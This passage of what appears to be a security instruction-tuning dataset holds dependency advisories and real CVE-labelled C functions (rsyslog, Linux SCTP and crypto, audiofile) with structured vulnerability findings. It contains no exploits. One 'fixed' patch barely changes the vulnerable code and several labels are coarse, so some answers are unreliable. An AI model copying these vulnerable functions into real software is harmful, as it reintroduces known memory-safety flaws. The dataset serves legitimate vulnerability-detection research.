\"sink_node_type\": null,\n \"ast_path\": null,\n \"token_ast_map\": null,\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "supply_chain_sca", "language": "javascript", "cwe": "CWE-22", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Analyze the following third-party dependency for known supply-chain security advisories and output the result as JSON.", "input": "Ecosystem: npm\nManifest: package.json\nPackage: stattic\nInstalled version: <0.3.0\nSummary: Path Traversal in stattic", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-w4pv-w56c-mg4v\",\n \"cve\": \"CVE-2018-3734\",\n \"aliases\": [\n \"CVE-2018-3734\"\n ],\n \"cwe\": \"CWE-22\",\n \"ecosystem\": \"npm\",\n \"package\": \"stattic\",\n \"severity\": \"high\",\n \"affected_versions\": \">=0, <0.3.0\",\n \"fixed_version\": \"0.3.0\",\n \"finding\": \"Path Traversal in stattic\",\n \"remediation\": \"Upgrade stattic to 0.3.0 or later.\"\n}"} {"task": "vuln_patch", "language": "c", "cwe": "CWE-125", "source": "BigVul (real CVE fix pairs)", "instruction": "Remediate the vulnerability in this C function. Return the fixed code and a short rationale as JSON.", "input": "static inline signed short ReadPropertyMSBShort(const unsigned char **p,\n size_t *length)\n{\n union\n {\n unsigned short\n unsigned_value;\n\n signed short\n signed_value;\n } quantum;\n\n int\n c;\n\n register ssize_t\n i;\n\n unsigned char\n buffer[2];\n\n unsigned short\n value;\n\n if (*length < 2)\n return((unsigned short) ~0);\n for (i=0; i < 2; i++)\n {\n c=(int) (*(*p)++);\n (*length)--;\n buffer[i]=(unsigned char) c;\n }\n value=(unsigned short) (buffer[0] << 8);\n value|=buffer[1];\n quantum.unsigned_value=(value & 0xffff);\n return(quantum.signed_value);\n }\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-125\",\n \"cwe_name\": \"Out-of-bounds Read\",\n \"cve\": \"CVE-2016-5842\",\n \"fixed_code\": \"static inline signed short ReadPropertyMSBShort(const unsigned char **p,\\n size_t *length)\\n{\\n union\\n {\\n unsigned short\\n unsigned_value;\\n\\n signed short\\n signed_value;\\n } quantum;\\n\\n int\\n c;\\n\\n register ssize_t\\n i;\\n\\n unsigned char\\n buffer[2];\\n\\n unsigned short\\n value;\\n\\n if (*length < 2)\\n return((unsigned short) ~0);\\n for (i=0; i < 2; i++)\\n {\\n c=(int) (*(*p)++);\\n (*length)--;\\n buffer[i]=(unsigned char) c;\\n }\\n value=(unsigned short) buffer[0] << 8;\\n value|=(unsigned short) buffer[1];\\n quantum.unsigned_value=value & 0xffff;\\n return(quantum.signed_value);\\n }\\n\",\n \"change_summary\": \"Improve checking of EXIF profile to prevent integer overflow (bug report from Ibrahim el-sayed)\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": null, "source": "DiverseVul (real labeled functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "\twhile(1) {\n\t\t/* Add the Unix Domain Sockets to the list of read\n\t\t * descriptors.\n\t\t * rgerhards 2005-08-01: we must now check if there are\n\t\t * any local sockets to listen to at all. If the -o option\n\t\t * is given without -a, we do not need to listen at all..\n\t\t */\n\t maxfds = 0;\n\t FD_ZERO (&readfds);\n\n\t\t/* Add the UDP listen sockets to the list of read descriptors.\n\t\t */\n\t\tif(udpLstnSocks != NULL) {\n for (i = 0; i < *udpLstnSocks; i++) {\n if (udpLstnSocks[i+1] != -1) {\n\t\t\t\t\tif(Debug)\n\t\t\t\t\t\tnet.debugListenInfo(udpLstnSocks[i+1], \"UDP\");\n FD_SET(udpLstnSocks[i+1], &readfds);\n\t\t\t\t\tif(udpLstnSocks[i+1]>maxfds) maxfds=udpLstnSocks[i+1];\n\t\t\t\t}\n }\n\t\t}\n\t\tif(Debug) {\n\t\t\tdbgprintf(\"--------imUDP calling select, active file descriptors (max %d): \", maxfds);\n\t\t\tfor (nfds = 0; nfds <= maxfds; ++nfds)\n\t\t\t\tif ( FD_ISSET(nfds, &readfds) )\n\t\t\t\t\tdbgprintf(\"%d \", nfds);\n\t\t\tdbgprintf(\"\\n\");\n\t\t}\n\n\t\t/* wait for io to become ready */\n\t\tnfds = select(maxfds+1, (fd_set *) &readfds, NULL, NULL, NULL);\n\n\t\tif(udpLstnSocks != NULL) {\n\t\t for (i = 0; nfds && i < *udpLstnSocks; i++) {\n\t\t\t if (FD_ISSET(udpLstnSocks[i+1], &readfds)) {\n\t\t\t\t socklen = sizeof(frominet);\n\t\t\t\t l = recvfrom(udpLstnSocks[i+1], (char*) pRcvBuf, MAXLINE - 1, 0,\n\t\t\t\t\t\t (struct sockaddr *)&frominet, &socklen);\n\t\t\t\t if (l > 0) {\n\t\t\t\t\t if(net.cvthname(&frominet, fromHost, fromHostFQDN, fromHostIP) == RS_RET_OK) {\n\t\t\t\t\t\t dbgprintf(\"Message from inetd socket: #%d, host: %s\\n\",\n\t\t\t\t\t\t\t udpLstnSocks[i+1], fromHost);\n\t\t\t\t\t\t /* Here we check if a host is permitted to send us\n\t\t\t\t\t\t\t* syslog messages. If it isn't, we do not further\n\t\t\t\t\t\t\t* process the message but log a warning (if we are\n\t\t\t\t\t\t\t* configured to do this).\n\t\t\t\t\t\t\t* rgerhards, 2005-09-26\n\t\t\t\t\t\t\t*/\n\t\t\t\t\t\t if(net.isAllowedSender((uchar*) \"UDP\",\n\t\t\t\t\t\t\t (struct sockaddr *)&frominet, (char*)fromHostFQDN)) {\n\t\t\t\t\t\t\t parseAndSubmitMessage(fromHost, fromHostIP, pRcvBuf, l,\n\t\t\t\t\t\t\t MSG_PARSE_HOSTNAME, NOFLAG, eFLOWCTL_NO_DELAY);\n\t\t\t\t\t\t } else {\n\t\t\t\t\t\t\t dbgprintf(\"%s is not an allowed sender\\n\", (char*)fromHostFQDN);\n\t\t\t\t\t\t\t if(glbl.GetOption_DisallowWarning) {\n\t\t\t\t\t\t\t\t errmsg.LogError(0, NO_ERRCODE, \"UDP message from disallowed sender %s discarded\",\n\t\t\t\t\t\t\t\t\t\t (char*)fromHost);\n\t\t\t\t\t\t\t }\t\n\t\t\t\t\t\t }\n\t\t\t\t\t }\n\t\t\t\t } else if (l < 0 && errno != EINTR && errno != EAGAIN) {\n\t\t\t\t\t\tchar errStr[1024];\n\t\t\t\t\t\trs_strerror_r(errno, errStr, sizeof(errStr));\n\t\t\t\t\t\tdbgprintf(\"INET socket error: %d = %s.\\n\", errno, errStr);\n\t\t\t\t\t\t errmsg.LogError(errno, NO_ERRCODE, \"recvfrom inet\");\n\t\t\t\t\t\t /* should be harmless */\n\t\t\t\t\t\t sleep(1);\n\t\t\t\t\t }\n\t\t\t\t\t--nfds; /* indicate we have processed one */\n\t\t\t\t}\n\t\t }\n\t\t}\n\t}", "output": "{\n \"vulnerable\": true,\n \"cwe\": null,\n \"cwe_name\": null,\n \"severity\": \"high\",\n \"project\": \"rsyslog\",\n \"note\": \"Function labeled vulnerable in a real project (DiverseVul). Function-level label; inspect memory/bounds/lifetime operations.\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"while_statement\"\n ]\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-476", "source": "BigVul (real CVE-fixed functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": " static int crypto_rng_init_tfm(struct crypto_tfm *tfm)\n {\n\tstruct crypto_rng *rng = __crypto_rng_cast(tfm);\n\tstruct rng_alg *alg = crypto_rng_alg(rng);\n\tstruct old_rng_alg *oalg = crypto_old_rng_alg(rng);\n\tif (oalg->rng_make_random) {\n\t\trng->generate = generate;\n\t\trng->seed = rngapi_reset;\n\t\trng->seedsize = oalg->seedsize;\n\t\treturn 0;\n\t}\n\trng->generate = alg->generate;\n\trng->seed = alg->seed;\n\trng->seedsize = alg->seedsize;\n \treturn 0;\n }\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-476\",\n \"cwe_name\": \"NULL Pointer Dereference\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2017-15116\",\n \"project\": \"linux\",\n \"vulnerable_lines\": [\n 3,\n 4,\n 5,\n 6,\n 7,\n 8,\n 9,\n 10,\n 11,\n 12,\n 13,\n 14\n ],\n \"sink_node_type\": \"function_definition\",\n \"ast_path\": [\n \"translation_unit\",\n \"function_definition\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"static\",\n \"ast_node\": \"static\",\n \"line\": 1,\n \"col\": 1\n },\n {\n \"token\": \"int\",\n \"ast_node\": \"primitive_type\",\n \"line\": 1,\n \"col\": 8\n },\n {\n \"token\": \"crypto_rng_init_tfm\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 12\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 1,\n \"col\": 31\n },\n {\n \"token\": \"struct\",\n \"ast_node\": \"struct\",\n \"line\": 1,\n \"col\": 32\n },\n {\n \"token\": \"crypto_tfm\",\n \"ast_node\": \"type_identifier\",\n \"line\": 1,\n \"col\": 39\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 1,\n \"col\": 50\n },\n {\n \"token\": \"tfm\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 51\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 1,\n \"col\": 54\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 2,\n \"col\": 1\n },\n {\n \"token\": \"struct\",\n \"ast_node\": \"struct\",\n \"line\": 3,\n \"col\": 1\n },\n {\n \"token\": \"crypto_rng\",\n \"ast_node\": \"type_identifier\",\n \"line\": 3,\n \"col\": 8\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 3,\n \"col\": 19\n },\n {\n \"token\": \"rng\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 20\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 3,\n \"col\": 24\n },\n {\n \"token\": \"__crypto_rng_cast\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 26\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 3,\n \"col\": 43\n },\n {\n \"token\": \"tfm\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 44\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 3,\n \"col\": 47\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 3,\n \"col\": 48\n },\n {\n \"token\": \"struct\",\n \"ast_node\": \"struct\",\n \"line\": 4,\n \"col\": 1\n },\n {\n \"token\": \"rng_alg\",\n \"ast_node\": \"type_identifier\",\n \"line\": 4,\n \"col\": 8\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 4,\n \"col\": 16\n },\n {\n \"token\": \"alg\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 17\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 4,\n \"col\": 21\n },\n {\n \"token\": \"crypto_rng_alg\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 23\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 4,\n \"col\": 37\n },\n {\n \"token\": \"rng\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 38\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 4,\n \"col\": 41\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 4,\n \"col\": 42\n },\n {\n \"token\": \"struct\",\n \"ast_node\": \"struct\",\n \"line\": 5,\n \"col\": 1\n },\n {\n \"token\": \"old_rng_alg\",\n \"ast_node\": \"type_identifier\",\n \"line\": 5,\n \"col\": 8\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 5,\n \"col\": 20\n },\n {\n \"token\": \"oalg\",\n \"ast_node\": \"identifier\",\n \"line\": 5,\n \"col\": 21\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 5,\n \"col\": 26\n },\n {\n \"token\": \"crypto_old_rng_alg\",\n \"ast_node\": \"identifier\",\n \"line\": 5,\n \"col\": 28\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 5,\n \"col\": 46\n },\n {\n \"token\": \"rng\",\n \"ast_node\": \"identifier\",\n \"line\": 5,\n \"col\": 47\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 5,\n \"col\": 50\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 5,\n \"col\": 51\n },\n {\n \"token\": \"if\",\n \"ast_node\": \"if\",\n \"line\": 6,\n \"col\": 1\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 6,\n \"col\": 4\n },\n {\n \"token\": \"oalg\",\n \"ast_node\": \"identifier\",\n \"line\": 6,\n \"col\": 5\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 6,\n \"col\": 9\n },\n {\n \"token\": \"rng_make_random\",\n \"ast_node\": \"field_identifier\",\n \"line\": 6,\n \"col\": 11\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 6,\n \"col\": 26\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 6,\n \"col\": 28\n },\n {\n \"token\": \"rng\",\n \"ast_node\": \"identifier\",\n \"line\": 7,\n \"col\": 2\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 7,\n \"col\": 5\n },\n {\n \"token\": \"generate\",\n \"ast_node\": \"field_identifier\",\n \"line\": 7,\n \"col\": 7\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 7,\n \"col\": 16\n },\n {\n \"token\": \"generate\",\n \"ast_node\": \"identifier\",\n \"line\": 7,\n \"col\": 18\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 7,\n \"col\": 26\n },\n {\n \"token\": \"rng\",\n \"ast_node\": \"identifier\",\n \"line\": 8,\n \"col\": 2\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 8,\n \"col\": 5\n },\n {\n \"token\": \"seed\",\n \"ast_node\": \"field_identifier\",\n \"line\": 8,\n \"col\": 7\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 8,\n \"col\": 12\n },\n {\n \"token\": \"rngapi_reset\",\n \"ast_node\": \"identifier\",\n \"line\": 8,\n \"col\": 14\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 8,\n \"col\": 26\n },\n {\n \"token\": \"rng\",\n \"ast_node\": \"identifier\",\n \"line\": 9,\n \"col\": 2\n }\n ],\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-362", "source": "BigVul (real CVE-fixed functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "void sctp_generate_proto_unreach_event(unsigned long data)\n {\n \tstruct sctp_transport *transport = (struct sctp_transport *) data;\n \tstruct sctp_association *asoc = transport->asoc;\n\tstruct net *net = sock_net(asoc->base.sk);\n \n\tbh_lock_sock(asoc->base.sk);\n\tif (sock_owned_by_user(asoc->base.sk)) {\n \t\tpr_debug(\"%s: sock is busy\\n\", __func__);\n \n \t\t/* Try again later. */\n\t\tif (!mod_timer(&transport->proto_unreach_timer,\n\t\t\t\tjiffies + (HZ/20)))\n\t\t\tsctp_association_hold(asoc);\n\t\tgoto out_unlock;\n\t}\n\n\t/* Is this structure just waiting around for us to actually\n\t * get destroyed?\n\t */\n\tif (asoc->base.dead)\n\t\tgoto out_unlock;\n\n\tsctp_do_sm(net, SCTP_EVENT_T_OTHER,\n\t\t SCTP_ST_OTHER(SCTP_EVENT_ICMP_PROTO_UNREACH),\n \t\t asoc->state, asoc->ep, asoc, transport, GFP_ATOMIC);\n \n out_unlock:\n\tbh_unlock_sock(asoc->base.sk);\n \tsctp_association_put(asoc);\n }\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-362\",\n \"cwe_name\": \"Race Condition\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2015-8767\",\n \"project\": \"linux\",\n \"vulnerable_lines\": [\n 5,\n 7,\n 8,\n 29\n ],\n \"sink_node_type\": \"function_definition\",\n \"ast_path\": [\n \"translation_unit\",\n \"function_definition\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"void\",\n \"ast_node\": \"primitive_type\",\n \"line\": 1,\n \"col\": 0\n },\n {\n \"token\": \"sctp_generate_proto_unreach_event\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 5\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 1,\n \"col\": 38\n },\n {\n \"token\": \"unsigned\",\n \"ast_node\": \"unsigned\",\n \"line\": 1,\n \"col\": 39\n },\n {\n \"token\": \"long\",\n \"ast_node\": \"long\",\n \"line\": 1,\n \"col\": 48\n },\n {\n \"token\": \"data\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 53\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 1,\n \"col\": 57\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 2,\n \"col\": 1\n },\n {\n \"token\": \"struct\",\n \"ast_node\": \"struct\",\n \"line\": 3,\n \"col\": 2\n },\n {\n \"token\": \"sctp_transport\",\n \"ast_node\": \"type_identifier\",\n \"line\": 3,\n \"col\": 9\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 3,\n \"col\": 24\n },\n {\n \"token\": \"transport\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 25\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 3,\n \"col\": 35\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 3,\n \"col\": 37\n },\n {\n \"token\": \"struct\",\n \"ast_node\": \"struct\",\n \"line\": 3,\n \"col\": 38\n },\n {\n \"token\": \"sctp_transport\",\n \"ast_node\": \"type_identifier\",\n \"line\": 3,\n \"col\": 45\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 3,\n \"col\": 60\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 3,\n \"col\": 61\n },\n {\n \"token\": \"data\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 63\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 3,\n \"col\": 67\n },\n {\n \"token\": \"struct\",\n \"ast_node\": \"struct\",\n \"line\": 4,\n \"col\": 2\n },\n {\n \"token\": \"sctp_association\",\n \"ast_node\": \"type_identifier\",\n \"line\": 4,\n \"col\": 9\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 4,\n \"col\": 26\n },\n {\n \"token\": \"asoc\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 27\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 4,\n \"col\": 32\n },\n {\n \"token\": \"transport\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 34\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 4,\n \"col\": 43\n },\n {\n \"token\": \"asoc\",\n \"ast_node\": \"field_identifier\",\n \"line\": 4,\n \"col\": 45\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 4,\n \"col\": 49\n },\n {\n \"token\": \"struct\",\n \"ast_node\": \"struct\",\n \"line\": 5,\n \"col\": 1\n },\n {\n \"token\": \"net\",\n \"ast_node\": \"type_identifier\",\n \"line\": 5,\n \"col\": 8\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 5,\n \"col\": 12\n },\n {\n \"token\": \"net\",\n \"ast_node\": \"identifier\",\n \"line\": 5,\n \"col\": 13\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 5,\n \"col\": 17\n },\n {\n \"token\": \"sock_net\",\n \"ast_node\": \"identifier\",\n \"line\": 5,\n \"col\": 19\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 5,\n \"col\": 27\n },\n {\n \"token\": \"asoc\",\n \"ast_node\": \"identifier\",\n \"line\": 5,\n \"col\": 28\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 5,\n \"col\": 32\n },\n {\n \"token\": \"base\",\n \"ast_node\": \"field_identifier\",\n \"line\": 5,\n \"col\": 34\n },\n {\n \"token\": \".\",\n \"ast_node\": \".\",\n \"line\": 5,\n \"col\": 38\n },\n {\n \"token\": \"sk\",\n \"ast_node\": \"field_identifier\",\n \"line\": 5,\n \"col\": 39\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 5,\n \"col\": 41\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 5,\n \"col\": 42\n },\n {\n \"token\": \"bh_lock_sock\",\n \"ast_node\": \"identifier\",\n \"line\": 7,\n \"col\": 1\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 7,\n \"col\": 13\n },\n {\n \"token\": \"asoc\",\n \"ast_node\": \"identifier\",\n \"line\": 7,\n \"col\": 14\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 7,\n \"col\": 18\n },\n {\n \"token\": \"base\",\n \"ast_node\": \"field_identifier\",\n \"line\": 7,\n \"col\": 20\n },\n {\n \"token\": \".\",\n \"ast_node\": \".\",\n \"line\": 7,\n \"col\": 24\n },\n {\n \"token\": \"sk\",\n \"ast_node\": \"field_identifier\",\n \"line\": 7,\n \"col\": 25\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 7,\n \"col\": 27\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 7,\n \"col\": 28\n },\n {\n \"token\": \"if\",\n \"ast_node\": \"if\",\n \"line\": 8,\n \"col\": 1\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 8,\n \"col\": 4\n },\n {\n \"token\": \"sock_owned_by_user\",\n \"ast_node\": \"identifier\",\n \"line\": 8,\n \"col\": 5\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 8,\n \"col\": 23\n },\n {\n \"token\": \"asoc\",\n \"ast_node\": \"identifier\",\n \"line\": 8,\n \"col\": 24\n },\n {\n \"token\": \"->\",\n \"ast_node\": \"->\",\n \"line\": 8,\n \"col\": 28\n },\n {\n \"token\": \"base\",\n \"ast_node\": \"field_identifier\",\n \"line\": 8,\n \"col\": 30\n },\n {\n \"token\": \".\",\n \"ast_node\": \".\",\n \"line\": 8,\n \"col\": 34\n }\n ],\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-119", "source": "DiverseVul (real labeled functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "_AFmoduleinst _af_ms_adpcm_init_decompress (_Track *track, AFvirtualfile *fh,\n\tbool seekok, bool headerless, AFframecount *chunkframes)\n{\n\t_AFmoduleinst\tret = _AFnewmodinst(&ms_adpcm_decompress);\n\tms_adpcm_data\t*d;\n\tAUpvlist\tpv;\n\tlong\t\tl;\n\tvoid\t\t*v;\n\n\tassert(af_ftell(fh) == track->fpos_first_frame);\n\n\td = (ms_adpcm_data *) _af_malloc(sizeof (ms_adpcm_data));\n\n\td->track = track;\n\td->fh = fh;\n\n\td->track->frames2ignore = 0;\n\td->track->fpos_next_frame = d->track->fpos_first_frame;\n\n\tpv = d->track->f.compressionParams;\n\tif (_af_pv_getlong(pv, _AF_MS_ADPCM_NUM_COEFFICIENTS, &l))\n\t\td->numCoefficients = l;\n\telse\n\t\t_af_error(AF_BAD_CODEC_CONFIG, \"number of coefficients not set\");\n\n\tif (_af_pv_getptr(pv, _AF_MS_ADPCM_COEFFICIENTS, &v))\n\t\tmemcpy(d->coefficients, v, sizeof (int16_t) * 256 * 2);\n\telse\n\t\t_af_error(AF_BAD_CODEC_CONFIG, \"coefficient array not set\");\n\n\tif (_af_pv_getlong(pv, _AF_SAMPLES_PER_BLOCK, &l))\n\t\td->samplesPerBlock = l;\n\telse\n\t\t_af_error(AF_BAD_CODEC_CONFIG, \"samples per block not set\");\n\n\tif (_af_pv_getlong(pv, _AF_BLOCK_SIZE, &l))\n\t\td->blockAlign = l;\n\telse\n\t\t_af_error(AF_BAD_CODEC_CONFIG, \"block size not set\");\n\n\t*chunkframes = d->samplesPerBlock / d->track->f.channelCount;\n\n\tret.modspec = d;\n\treturn ret;\n}", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-119\",\n \"cwe_name\": \"Improper Restriction of Operations within Memory Buffer Bounds\",\n \"severity\": \"high\",\n \"project\": \"audiofile\",\n \"note\": \"Function labeled vulnerable in a real project (DiverseVul). Function-level label; inspect memory/bounds/lifetime operations.\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "supply_chain_sca", "language": "go", "cwe": null, "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Act as a SAST/SCA tool. Given the package and version in a project's dependency manifest, detect any known vulnerability and return a structured advisory.", "input": "Ecosystem: Go\nManifest: go.mod\nPackage: k8s.io/kubernetes\nInstalled version: <1.21.0\nSummary: Kube-proxy may unintentionally forward traffic", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-35c7-w35f-xwgh\",\n \"cve\": \"CVE-2021-25736\",\n \"aliases\": [\n \"CVE-2021-25736\",\n \"GO-2023-2159\"\n ],\n \"cwe\": null,\n \"ecosystem\": \"Go\",\n \"package\": \"k8s.io/kubernetes\",\n \"severity\": \"moderate\",\n \"affected_versions\": \">=0, <1.21.0\",\n \"fixed_version\": \"1.21.0\",\n \"finding\": \"Kube-proxy may unintentionally forward traffic\",\n \"remediation\": \"Upgrade k8s.io/kubernetes to 1.21.0 or later.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-119", "source": "BigVul (real CVE-fixed functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "void oz_usb_rx(struct oz_pd *pd, struct oz_elt *elt)\n{\n\tstruct oz_usb_hdr *usb_hdr = (struct oz_usb_hdr *)(elt + 1);\n\tstruct oz_usb_ctx *usb_ctx;\n\n\tspin_lock_bh(&pd->app_lock[OZ_APPID_USB]);\n\tusb_ctx = (struct oz_usb_ctx *)pd->app_ctx[OZ_APPID_USB];\n\tif (usb_ctx)\n\t\toz_usb_get(usb_ctx);\n\tspin_unlock_bh(&pd->app_lock[OZ_APPID_USB]);\n\tif (usb_ctx == NULL)\n\t\treturn; /* Context has gone so nothing to do. */\n\tif (usb_ctx->stopped)\n\t\tgoto done;\n\t/* If sequence number is non-zero then check it is not a duplicate.\n\t * Zero sequence numbers are always accepted.\n\t */\n\tif (usb_hdr->elt_seq_num != 0) {\n\t\tif (((usb_ctx->rx_seq_num - usb_hdr->elt_seq_num) & 0x80) == 0)\n\t\t\t/* Reject duplicate element. */\n\t\t\tgoto done;\n\t}\n\tusb_ctx->rx_seq_num = usb_hdr->elt_seq_num;\n\tswitch (usb_hdr->type) {\n \tcase OZ_GET_DESC_RSP: {\n \t\t\tstruct oz_get_desc_rsp *body =\n \t\t\t\t(struct oz_get_desc_rsp *)usb_hdr;\n\t\t\tint data_len = elt->length -\n\t\t\t\t\tsizeof(struct oz_get_desc_rsp) + 1;\n\t\t\tu16 offs = le16_to_cpu(get_unaligned(&body->offset));\n\t\t\tu16 total_size =\n \t\t\t\tle16_to_cpu(get_unaligned(&body->total_size));\n \t\t\toz_dbg(ON, \"USB_REQ_GET_DESCRIPTOR - cnf\\n\");\n \t\t\toz_hcd_get_desc_cnf(usb_ctx->hport, body->req_id,\n\t\t\t\t\tbody->rcode, body->data,\n\t\t\t\t\tdata_len, offs, total_size);\n\t\t}\n\t\tbreak;\n\tcase OZ_SET_CONFIG_RSP: {\n\t\t\tstruct oz_set_config_rsp *body =\n\t\t\t\t(struct oz_set_config_rsp *)usb_hdr;\n\t\t\toz_hcd_control_cnf(usb_ctx->hport, body->req_id,\n\t\t\t\tbody->rcode, NULL, 0);\n\t\t}\n\t\tbreak;\n\tcase OZ_SET_INTERFACE_RSP: {\n\t\t\tstruct oz_set_interface_rsp *body =\n\t\t\t\t(struct oz_set_interface_rsp *)usb_hdr;\n\t\t\toz_hcd_control_cnf(usb_ctx->hport,\n\t\t\t\tbody->req_id, body->rcode, NULL, 0);\n\t\t}\n\t\tbreak;\n\tcase OZ_VENDOR_CLASS_RSP: {\n\t\t\tstruct oz_vendor_class_rsp *body =\n\t\t\t\t(struct oz_vendor_class_rsp *)usb_hdr;\n\t\t\toz_hcd_control_cnf(usb_ctx->hport, body->req_id,\n\t\t\t\tbody->rcode, body->data, elt->length-\n\t\t\t\tsizeof(struct 